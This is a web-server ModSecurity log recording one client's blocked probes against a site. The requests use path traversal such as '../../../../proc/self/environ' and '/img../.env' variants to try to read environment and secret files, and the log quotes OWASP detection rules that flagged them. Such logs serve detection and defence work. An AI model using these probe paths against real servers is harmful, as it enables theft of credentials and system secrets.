[Mon Oct 26 09:23:14.232305 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/default/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9UQnJ9l6phwCFrVaFgpAAAAAA"]
[Mon Oct 26 09:23:14.232320 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkQAAACs"]
[Mon Oct 26 09:23:14.232408 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkQAAACs"]
[Mon Oct 26 09:23:14.232452 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkQAAACs"]
[Mon Oct 26 09:23:14.232618 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9UQnJ9l6phwCFrVaFgpAAAAAA"]
[Mon Oct 26 09:23:14.232634 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkQAAACs"]
[Mon Oct 26 09:23:14.232882 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at9UQnJ9l6phwCFrVaFgpAAAAAA"]
[Mon Oct 26 09:23:14.232913 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkQAAACs"]
[Mon Oct 26 09:23:14.350012 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkgAAACs"]
[Mon Oct 26 09:23:14.350089 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkgAAACs"]
[Mon Oct 26 09:23:14.350138 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkgAAACs"]
[Mon Oct 26 09:23:14.350335 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkgAAACs"]
[Mon Oct 26 09:23:14.350631 2026] [security2:error] [pid 3034833:tid 3034833] [client 34.77.78.138:49796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/images../.env"] [unique_id "at9UQm8fURIvZEnkWNyOkgAAACs"]
[Mon Oct 26 09:23:14.353963 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpQAAAAA"]
[Mon Oct 26 09:23:14.354019 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /public../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpQAAAAA"]
[Mon Oct 26 09:23:14.354084 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpQAAAAA"]
[Mon Oct 26 09:23:14.354206 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpQAAAAA"]
[Mon Oct 26 09:23:14.354414 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/public../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpQAAAAA"]
[Mon Oct 26 09:23:14.355413 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at9UQqXMILbsMtUzObzLqAAAAAg"]
[Mon Oct 26 09:23:14.355463 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at9UQqXMILbsMtUzObzLqAAAAAg"]
[Mon Oct 26 09:23:14.355506 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at9UQqXMILbsMtUzObzLqAAAAAg"]
[Mon Oct 26 09:23:14.355645 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at9UQqXMILbsMtUzObzLqAAAAAg"]
[Mon Oct 26 09:23:14.355891 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at9UQqXMILbsMtUzObzLqAAAAAg"]
[Mon Oct 26 09:23:14.371236 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.77.78.138:49828] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/home/user/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at9UQgbLerFfv4dhcWT2qwAAAAY"]
[Mon Oct 26 09:23:14.371397 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.77.78.138:49828] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at9UQgbLerFfv4dhcWT2qwAAAAY"]
[Mon Oct 26 09:23:14.371622 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.77.78.138:49828] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at9UQgbLerFfv4dhcWT2qwAAAAY"]
[Mon Oct 26 09:23:14.426371 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49780] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at9UQi4y9wbCW0XoP8BjRwAAAAI"]
[Mon Oct 26 09:23:14.426438 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49780] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at9UQi4y9wbCW0XoP8BjRwAAAAI"]
[Mon Oct 26 09:23:14.426491 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at9UQi4y9wbCW0XoP8BjRwAAAAI"]
[Mon Oct 26 09:23:14.426743 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at9UQi4y9wbCW0XoP8BjRwAAAAI"]
[Mon Oct 26 09:23:14.427069 2026] [security2:error] [pid 3036062:tid 3036062] [client 34.77.78.138:49780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at9UQi4y9wbCW0XoP8BjRwAAAAI"]
[Mon Oct 26 09:23:14.459371 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at9UQqXMILbsMtUzObzLqQAAAAg"]
[Mon Oct 26 09:23:14.459423 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at9UQqXMILbsMtUzObzLqQAAAAg"]
[Mon Oct 26 09:23:14.459473 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at9UQqXMILbsMtUzObzLqQAAAAg"]
[Mon Oct 26 09:23:14.459693 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at9UQqXMILbsMtUzObzLqQAAAAg"]
[Mon Oct 26 09:23:14.460044 2026] [security2:error] [pid 3015803:tid 3015803] [client 34.77.78.138:49814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/js../.env"] [unique_id "at9UQqXMILbsMtUzObzLqQAAAAg"]
[Mon Oct 26 09:23:14.467918 2026] [security2:error] [pid 3026993:tid 3026993] [client 34.77.78.138:49800] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "zacson2.sherwinpinturas.com"] [uri "/static../.env"] [unique_id "at9UQnJ9l6phwCFrVaFgpgAAAAA"]
